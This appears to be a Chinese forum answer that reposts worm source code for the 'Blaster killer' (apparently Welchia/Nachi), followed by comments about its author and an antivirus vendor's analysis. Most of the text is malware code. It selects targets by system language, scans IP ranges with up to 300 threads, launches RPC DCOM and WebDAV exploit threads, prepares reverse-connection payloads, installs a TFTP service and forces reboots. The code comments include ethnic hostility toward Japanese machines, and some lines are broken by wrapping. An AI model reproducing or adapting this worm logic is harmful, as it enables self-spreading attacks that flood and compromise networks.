《沖擊波殺手》那個黑客是誰?
給您轉壹篇文章 也許對您有用
沖擊波殺手的作者網上現身
前言:“沖擊波”蠕蟲爆發後,大量個人主機及服務器遭受侵襲,各大安全公司,殺毒廠商紛紛推出各種解決方案,不料短短幾日內,又出現了來歷不明的新蠕蟲,經過壹些安全專家的反向編譯和分析,驚訝的發現,該蠕蟲的工作目標居然是消滅沖擊波蠕蟲並自動為受害主機進行補丁,而且該蠕蟲還具有定時自毀功能,顯然作者的目標還是有壹定的善意因素,但是蠕蟲畢竟是蠕蟲,因為大量icmp包的發送,還是能夠給企業局域網絡帶來極大的壓力,就此,對蠕蟲的危害性依然要保持極大的關註和警惕,相關文章可以參見
nLanguageID = 1; //就是為這個來的~~
else if ( unOemCP == 950 && wMain == 4 && wSub == 1 ) //tw
nLanguageID = 2; //同胞骨肉的忙,壹定要幫~~
else if ( unOemCP == 932 && wMain == 0x11 && wSub == 1 ) //jp
nLanguageID = -1; //偶好有幹掉鬼子機器的沖動!
//罷了,冤冤相報何時了~~~ 希望他丫的自新
~~~ 再玩火就滅了他丫的~~
else if ( unOemCP == 949 && wMain == 0x12 && wSub == 1 ) //kr
nLanguageID = 3; //少些不懂事的小鳥兒彎出去, 危害國內~~
else{
nLanguageID = -1;
}
if ( nLanguageID == -1)
return FALSE;
char szServicePack[] = "RpcServicePack.exe";
// downlaod it~~~
if ( !nSystemVer ) { // 2k
if ( !DownloadSpFile (szServicePack, szWin2kSpUrl[nLanguageID]) )
return FALSE;
}
else{
if ( !DownloadSpFile (szServicePack, szWinXPSpUrl[nLanguageID]) )
return FALSE;
}
char szExec[180];
sprintf(szExec, "%s -n -o -z -q", szServicePack);
HANDLE hProcess = MakeProcess( szExec );
if ( hProcess == NULL )
return FALSE;
if (WaitForSingleObject(hProcess, 360000) != WAIT_OBJECT_0 ){ //六分鐘內
未完成
TerminateProcess(hProcess,1);
CloseHandle(hProcess);
DeleteFile(szServicePack);
return FALSE;
}
CloseHandle(hProcess);
Sleep(15000);
DeleteFile(szServicePack);
if ( ReadRegServicePack(nSystemVer) ) {
ShutDownWindows( EWX_REBOOT | EWX_FORCE );//install service pack ok, reboot
it~~~
Sleep(20000); //說偶重啟有過? 不重啟補丁無效,
找 Bill該死 說去~~~
}
return TRUE;
}
// IN: 始ip, B段數量, 是否隨機,是否換WebDav //更爛~~~ 湊合著看~~~
void BeginExploitFunction(u_long ulIpStart, int nBCount, BOOL bRand, BOOL
bWebDav)
{
HANDLE hThread = NULL;
BOOL bFirst = TRUE;
u_long uComp;
for (int i=0;i< (nBCount * 256 * 256); i++){
if ( bRand )
uComp = MakeRandIp();
else
uComp = i + ulIpStart;
if ( //還是屏蔽掉部分目標,免得目標中招後,再玩就把下壹代幹掉了,不破壞的好
~~~
(BYTE)uComp == 0xc5 ||
(BYTE)(uComp>>8) == 0xc5 ||
(BYTE)(uComp>>16) == 0xc5 ||
(BYTE)(uComp>>24) == 0xc5 ||
(WORD)uComp == 0x9999 ||
(WORD)(uComp>>8) == 0x9999 ||
(WORD)(uComp>>16) == 0x9999 )
continue;
u_long *myPara = new u_long;
if ( myPara == NULL ){//如果分配失敗,再嘗試壹次
Sleep(100);
myPara = new u_long;
}
if ( myPara ){
if ( hThread )
CloseHandle(hThread);
*myPara = htonl( uComp);
DWORD dwThreadId;
if (bWebDav)
hThread =
CreateThread(NULL,0,ExploitWebDavThread,(LPVOID)myPara,0,&dwThreadId);
else
hThread =
CreateThread(NULL,0,ExploitRpcDcomThread,(LPVOID)myPara,0,&dwThreadId);
Sleep(2);
}
//添加此處代碼,避免首次執行時,線程中的
InterlockedIncrement(&g_CurThreadCount) 未來得及運行,壹次性建立了N個線程的
bug!
if ( bFirst && (i >= nMaxThread) ){
Sleep(2000);
bFirst = FALSE;
}
while(g_CurThreadCount >= nMaxThread) // #define nMaxThread 300 ,不小心,
玩過了~~~
Sleep(2);
}
Sleep(60000);
}
//服務模式和控制臺模式公用主程序
void DoIt()
{
WSADATAwsd;
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
return;
//殺蠕蟲
KillMsblast();
//卸載
SYSTEMTIME st;
GetLocalTime(&st);
if ( st.wYear == 2004 ){
MyDeleteService(szServiceName);
MyDeleteService(szServiceTftpd);
RemoveMe();
ExitProcess(1); //其實不必,RemoveMe()中借用了前輩的代碼,2k下,退出程序時將
自身文件刪除了
}
srand( GetTickCount() );
memset(pPingBuffer, '\xAA', sizeof(pPingBuffer));
//煩請骨幹路由器立即丟棄此特征 Icmp Echo 包! 國內的什麽什麽波已經絕了!~~ 補
丁已經打夠了!~~~
//準備WebDav發送緩沖區
do{
pWebDavExploitBuffer = new char[68000];
Sleep(100);
}while(pWebDavExploitBuffer == NULL);
//必須在checkonlien 之前,壹次裝配好子彈
PressWebDavBufferOnce();
PressRpcDcomBufferOnce();
CheckOnlienAndPressData(); //get LocalIp & 修正子彈中的反向ip 和 端口
//打補丁
DoServicePackFunction();
//建立接收線程
DWORD dwThreadID;
HANDLE
hWorkThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)RecvSendCmdThread,(L
PVOID)NULL,0,&dwThreadID);
if(hWorkThread==NULL) // RecvSendCmdThread 中阻塞,有反連,再建線程處理之,
同時處理多個反連
return;
CloseHandle(hWorkThread);
if ( !MyStartService(szServiceTftpd) ){
Sleep(1000);
InstallTftpService();
Sleep(1000);
MyStartService(szServiceTftpd);
}
Sleep(2000); //等待接收線程中的全局 rand bind port
u_long ulIP;
for(;{ //估算了壹下,普通機器2小時壹循環
//首先掃描本ip段
CheckOnlienAndPressData();
ulIP = ntohl(inet_addr(szLocalIp));
ulIP &= 0xffff0000;
BeginExploitFunction( ulIP, 1, 0, 0);
//再掃描本ip前後3個段
CheckOnlienAndPressData();
if ( rand() % 2)
ulIP += 0x00010000;
else
ulIP -= 0x00030000;
BeginExploitFunction( ulIP, 3, 0, 0);
//再掃描WebDav壹個段,跳出 135 syn封鎖
CheckOnlienAndPressData();
ulIP = MAKELONG(0, wdIpHead[ rand()% 76 ]); //請 wdIpHead[] B段IP商註意~~~,
立即采取補救措施~~~ sorry~~~
BeginExploitFunction( ulIP, 1, 0, 1);
//再掃描隨機的IP, 數量1個 B段, rpc or webdav
CheckOnlienAndPressData();
if ( rand() % 2)
BeginExploitFunction( ulIP, 1, 1, 0);
else
BeginExploitFunction( ulIP, 1, 1, 1); //偶跳、跳、跳~~~
KillMsblast();
}
//WSACleanup();
}
--------------------------------------------------------------------------------------------------
為方便閱讀,增加幾個補充說明
1.flashsky www.xfocus.net創始人之壹,啟明星辰安全專家,擅長古體詩詞,7月中公開rpc漏洞利用方式源代碼,公開溢出分析報告,造成全球安全領域的震動,沖擊波蠕蟲的主要傳播技術來源於這位高手公開的技術描述。
2.VirusBOy 懂點安全的小朋友,水平不咋地,不過妳最好別招惹他,DDOS妳壹把也夠受的。
3.某安全公司安全專家評論,該帖子內容基本屬實,蠕蟲源代碼已經得到確認。
瑞星反病毒檢測中心今晚再次截獲利用微軟RPC漏洞進行傳播的病毒。不過,這個新病毒生來就是原沖擊波病毒的克星。
瑞星反病毒工程師分析說:該病毒的特點是將“沖擊波”(Worm.Blaster)病毒幹掉,並在系統內值入,預防沖擊波病毒的疫苗。
然後這個新病毒會嘗試從微軟網站下載補丁並自動將受感染的系統打上補丁。然後該病毒會開啟數百個的線程PING其它IP地址,並通過RPC漏洞快速傳播自己,消耗大量CPU和網絡資源,並且有可能會導致系統死機。該病毒的作者似乎無意作惡,病毒設定在2004年自行毀滅。
由於該病毒采用PING方式進行探測,只感染能夠PING通的機器,因此瑞星反病毒工程師提醒廣大用戶,設置防火墻的規則,禁止ping,這樣可以有效防止該病毒的入侵。